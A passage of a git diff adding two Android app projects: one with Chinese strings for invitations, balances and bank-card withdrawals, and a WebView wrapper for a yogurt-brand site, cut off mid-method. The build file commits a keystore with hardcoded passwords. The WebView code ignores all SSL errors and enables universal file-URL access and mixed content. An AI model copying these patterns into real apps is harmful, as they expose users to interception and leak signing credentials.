b/hariwin88/src/main/res/values/strings.xml new file mode 100644 index 0000000..32cc000 --- /dev/null +++ b/hariwin88/src/main/res/values/strings.xml @@ -0,0 +1,54 @@ + + HARIWIN88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/values/themes.xml b/hariwin88/src/main/res/values/themes.xml new file mode 100644 index 0000000..8947801 --- /dev/null +++ b/hariwin88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/xml/app_updater_paths.xml b/hariwin88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/hariwin88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/xml/network_security_config.xml b/hariwin88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/hariwin88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/xml/provider_paths.xml b/hariwin88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/hariwin88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/hariwin88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/hariwin88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/hariwin88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/heygirl/.gitignore b/heygirl/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/heygirl/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/heygirl/build.gradle b/heygirl/build.gradle new file mode 100644 index 0000000..713f622 --- /dev/null +++ b/heygirl/build.gradle @@ -0,0 +1,84 @@ +plugins { + id 'com.android.application' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.hey.girl" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "heygirl" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + testApi 'junit:junit:4.+' + androidTestApi 'androidx.test.ext:junit:1.1.1' + androidTestApi 'androidx.test.espresso:espresso-core:3.2.0' + +} \ No newline at end of file diff --git a/heygirl/dskjweb.jks b/heygirl/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/heygirl/dskjweb.jks differ diff --git a/heygirl/proguard-rules.pro b/heygirl/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/heygirl/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/heygirl/release/output-metadata.json b/heygirl/release/output-metadata.json new file mode 100644 index 0000000..e48e90a --- /dev/null +++ b/heygirl/release/output-metadata.json @@ -0,0 +1,18 @@ +{ + "version": 2, + "artifactType": { + "type": "APK", + "kind": "Directory" + }, + "applicationId": "com.web.testapp", + "variantName": "processReleaseResources", + "elements": [ + { + "type": "SINGLE", + "filters": [], + "versionCode": 107, + "versionName": "v1.0.7", + "outputFile": "app-release.apk" + } + ] +} \ No newline at end of file diff --git a/heygirl/release/testweb.apk b/heygirl/release/testweb.apk new file mode 100644 index 0000000..e33b812 Binary files /dev/null and b/heygirl/release/testweb.apk differ diff --git a/heygirl/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/heygirl/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/heygirl/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/heygirl/src/main/AndroidManifest.xml b/heygirl/src/main/AndroidManifest.xml new file mode 100644 index 0000000..579282f --- /dev/null +++ b/heygirl/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/heygirl/src/main/java/com/hey/girl/CircleImageView.java b/heygirl/src/main/java/com/hey/girl/CircleImageView.java new file mode 100644 index 0000000..0f16423 --- /dev/null +++ b/heygirl/src/main/java/com/hey/girl/CircleImageView.java @@ -0,0 +1,321 @@ +package com.hey.girl; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if (attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/heygirl/src/main/java/com/hey/girl/LogUtils.java b/heygirl/src/main/java/com/hey/girl/LogUtils.java new file mode 100644 index 0000000..98af4ac --- /dev/null +++ b/heygirl/src/main/java/com/hey/girl/LogUtils.java @@ -0,0 +1,146 @@ +package com.hey.girl; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/heygirl/src/main/java/com/hey/girl/MainActivity2.java b/heygirl/src/main/java/com/hey/girl/MainActivity2.java new file mode 100644 index 0000000..1810d76 --- /dev/null +++ b/heygirl/src/main/java/com/hey/girl/MainActivity2.java @@ -0,0 +1,672 @@ +package com.hey.girl; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.app.Activity; +import android.app.ActivityManager; +import android.app.NotificationManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.graphics.Color; +import android.net.Uri; +import android.net.http.SslError; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.provider.ContactsContract; +import android.text.Html; +import android.text.TextUtils; +import android.util.Log; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.webkit.ConsoleMessage; +import android.webkit.DownloadListener; +import android.webkit.JavascriptInterface; +import android.webkit.PermissionRequest; +import android.webkit.SslErrorHandler; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceError; +import android.webkit.WebResourceRequest; +import android.webkit.WebResourceResponse; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.cardview.widget.CardView; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.google.android.material.floatingactionbutton.FloatingActionButton; + + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class MainActivity2 extends AppCompatActivity { + public WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; +// public ImageView showTopV1; + private LinearLayout showTopLy; + private View topVvvv; + private ProgressBar progressBar; + public static String url = "http://www.heygirlyogurt.com/"; + + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + + + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(Color.parseColor("#f5f0d2")); + getWindow().getDecorView().setBackgroundColor(Color.parseColor("#aadcf5")); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + if (getInt(MainActivity2.this, "is_white", 0) == 1) { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + } else { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + } + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + + initView(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + + } + + public void setBackDrawables(int drawableId) { + showTopLy.setBackgroundResource(drawableId); + } + + + + + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + webView.goBack(); + }else{//不能返回了 关闭进程 退出程序 + super.onBackPressed(); + } + } + + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + +// showTopV1 = (ImageView) findViewById(R.id.show_top_v1); + showTopLy = findViewById(R.id.show_top_ly); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + webView.getSettings().setBlockNetworkImage(false); // 解决图片不显示 + + if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); + } + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + com.hey.girl.LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + + webView.loadUrl(url); + + } + +// +// private void checkUpdate(String url) { +// new AppUpdater(this, url).start(); +// } + + + Handler handler = new Handler(); + + boolean hasSignIn = false; + + +// WebView webViews; + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + if (showTopLy.getVisibility() == View.VISIBLE) { + handler.postDelayed(() ->{ + showTopLy.setVisibility(View.GONE); + getWindow().setNavigationBarColor(Color.parseColor("#FFFFFF")); + getWindow().getDecorView().setBackgroundColor(Color.parseColor("#FFFFFF")); + + }, 3000); + } + + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, String s) { +// LogUtils.i("网址是啥:222222222222222222222222"); + + return super.shouldInterceptRequest(webView, s); + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) { +// LogUtils.i("网址是啥:"+webResourceRequest.getUrl().toString()); + + return super.shouldInterceptRequest(webView, webResourceRequest); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) { +// super.onReceivedSslError(webView, sslErrorHandler, sslError); + sslErrorHandler.proceed(); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + LogUtils.i("网络请求3333:" + request.getUrl()); + LogUtils.i("网络请求3333:" + request.getRequestHeaders()); + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.i("URL是啥1:" + url1); + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + 